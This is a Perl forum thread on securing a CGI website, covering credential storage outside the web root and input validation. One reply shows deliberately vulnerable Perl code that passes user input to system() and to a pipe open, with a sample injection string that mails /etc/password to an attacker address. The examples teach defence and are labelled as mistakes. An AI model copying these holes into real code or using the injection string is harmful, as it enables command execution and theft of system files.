in reply to Structuring a Web site and security issues

The answer to all three questions is: "It depends"

The first question I'd ask myself before answering any of those questions is what are the risk factors that I am trying to mitigate? What am I trying to protect and how "valuable" a target is it?

The next factor I am going to look at is what facilities I have at my disposal to help boost my security stance.

For instance, the old hosting provider I had for my personal website had the account's directory structure such that there was one directory tree for any files associated with my account. In other words any file I put in my accounts file space could potentially be in the path of the web server serving up pages and possibly be exposed to a browser.

My current provider has my file space such that there are actually two file trees and even my HOME directory is structured so that the web files are a subdirectory under HOME. That means I can place my home grown Perl modules somewhere out of the way of a browser not to mention any configuration files. The result is none of my CGI scripts ever have information like database logins in the source code itself.

So to answer question #1, if I have my druthers I keep the CGI scripts with just the essential code in the cgi-bin. That's just how it has to be unless I have control over the webserver and can tailor it. I keep modules that those scripts are dependant on elsewhere out of the normal browsing path and do something like use lib qw@ .... path goes here @; to point to where their at.

To anwer #2 I keep my database login info in a configuration file (again outside the browsing path) and lately I've been using XML::Simple to read it in but there are other ways.

I know there are monks out there that will disagree with this statement but "best practice" is a) in the eye of the beholder and b) depends on many factors. One of those factors being what facilities you have available to you and another being to what degree do you need to be cautious. Websites that I am working on that involve financial data are going to be sites that I'm much more security concious of than say my dog club's web page announcing upcoming events. Keep in mind that no matter how secure you set things up all you are doing is raising the bar you are never going keep someone out who is sufficiently motivated and/or knowlegeable of how to circumvent security.

Last thought: there are some things you do have to consider in your coding that you really didn't ask about in the list above.

Peter L. Berghold -- Unix Professional
Peter -at- Berghold -dot- Net; AOL IM redcowdawg Yahoo IM: blue_cowdawg

Replies are listed 'Best First'.
Re^2: Structing a Web site and security issues
by bradcathey (Prior) on Dec 26, 2005 at 18:17 UTC

    Thanks blue_cowdawg for your lengthy answer. There is so much to learn about Unix, servers, permissions, etc.

    I've been using CGI::Application::Plugin::Config::Simple to read in my parameters. But tirwhan has me nervous about storing those logins at all.

    Data validation ...

    Thanks, I'm validating and untainting everything!

    File uploads Treat with care.

    I've been validating type, size, and then using CGI upload for this. Any other caveats?

    Injection attacks...

    Using placeholders for everything (I've been a monk long enough to never go without these)

    Remote executions Web applications that allow random users to execute things

    Do you have an example of this? I don't *think* I'm doing this.


    —Brad
    "The important work of moving the world forward does not wait to be done by perfect men." George Eliot
[reply]
          Do you have an example of this? I don't *think* I'm doing this.

      The most brutal example of this and an injection attack hole I can think of would be something like: 

       | 
 | handwaving of HTML here...
 |
<p>
Type in the address you want to look up
<input type="text" name="host_to_search_rq"> 
</p>
 |

      [download]
      with the CGI of 
      #
# Stuff left out.... 
my $hostname=$cgi->param('host_to_search_rq'); 
system("nslookup $hostname"); #BAD!!! BAD!!! BAD!!!
#
#

      [download]

      First off it is concievable that the malicious hax0r has partially compromised your system already and has a script of their own named "nslookup" sitting in your path so you want to only invoke shell commands within your CGI using fully qualified pathnames to commands. That still doesn't fully get you off the hook, but it is a good start.

      Secondly, having not checked the contents of $hostname and blindly executing the query leaves you open to an injection attack. A malicious induhvidual could enter the string ";cat /etc/password | /usr/ucb/Mail hax0rRus@hax0r.org" which then sends them the contents of your /etc/password file for a future brute force attack.

      Another Dumb Idea® that I've actually seen folks do: 

      |
|   Much handwaving again...
|
if (! $cgi->param('command_rq') ) {
   
   print $cgi->p("input a command: ",
                $cgi->text(-name=>"command_rq") );
} else {

     # OH MY GOD!!! DON'T DO THIS!
     open PIPE,$cgi->parma('command_rq') . "|" 
            or die $!;
     my @results = <PIPE>
     print $cgi->pre(@results);

}

      [download]

      Talk about asking for trouble!

      Just a few ways to crash and burn in the world of CGI....

      Just remember, the web is not the "village" it used to be any more. It has grown up into a very large urban area with hookers and muggers on quite a few of the street corners. You would use caution if you had to walk through someplace like that in the Real World™ and you certainly wouldn't leave your doors unlocked there or put valuables out on the front porch. If you can think of a way to break your own security (and your should try and think of ways) someone else can too.

      Peter L. Berghold -- Unix Professional
      Peter -at- Berghold -dot- Net; AOL IM redcowdawg Yahoo IM: blue_cowdawg
[reply]
[d/l]
[select]

In Section Seekers of Perl Wisdom